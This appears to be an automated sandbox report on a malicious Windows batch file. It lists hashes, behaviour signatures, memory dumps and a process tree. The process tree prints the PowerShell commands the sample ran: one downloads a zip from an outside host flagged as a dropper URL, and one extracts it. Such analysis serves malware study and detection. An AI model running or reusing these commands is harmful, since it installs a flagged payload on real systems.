3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
122s
max time network
126s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

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General

Target

tesy - Copy (12).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2544	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2544	powershell.exe
2116	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe
Token: SeDebugPrivilege	2116	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1700 wrote to memory of 2544	1700	cmd.exe	29
PID 1700 wrote to memory of 2544	1700	cmd.exe	29
PID 1700 wrote to memory of 2544	1700	cmd.exe	29
PID 1700 wrote to memory of 2116	1700	cmd.exe	30
PID 1700 wrote to memory of 2116	1700	cmd.exe	30
PID 1700 wrote to memory of 2116	1700	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2116

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
499910b913337ae4e1a7b0cbcca8f546

SHA1
b72ae13941c8898cf3b1539df11eddb3711494e1

SHA256
d24bcbc2ef893c0c9dc9186bff3141e67aa86a02f104a16bae6522480b2e5ff9

SHA512
d59843d0fb89ad9175e4eaddee2a1f20b0adad4057e3048df6fce401034724566edac568c80fc46fdb1537d0046e39c9e1b529c30d607b34fccba0dc25b5bf66

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5JJ4ZMTFCN2UNDPKUIEQ.temp

Filesize
7KB

MD5
499910b913337ae4e1a7b0cbcca8f546

SHA1
b72ae13941c8898cf3b1539df11eddb3711494e1

SHA256
d24bcbc2ef893c0c9dc9186bff3141e67aa86a02f104a16bae6522480b2e5ff9

SHA512
d59843d0fb89ad9175e4eaddee2a1f20b0adad4057e3048df6fce401034724566edac568c80fc46fdb1537d0046e39c9e1b529c30d607b34fccba0dc25b5bf66

Download Submit
memory/2116-19-0x000007FEF4D50000-0x000007FEF56ED000-memory.dmp

Filesize
9.6MB

Download
memory/2116-24-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2116-26-0x000007FEF4D50000-0x000007FEF56ED000-memory.dmp

Filesize
9.6MB

Download
memory/2116-23-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2116-25-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2116-22-0x000007FEF4D50000-0x000007FEF56ED000-memory.dmp

Filesize
9.6MB

Download
memory/2116-21-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/2116-20-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/2116-18-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/2544-5-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2544-4-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2544-6-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2544-12-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2544-7-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2544-10-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download
memory/2544-9-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/2544-8-0x0000000002580000-0x0000000002600000-memory.dmp

Filesize
512KB

Download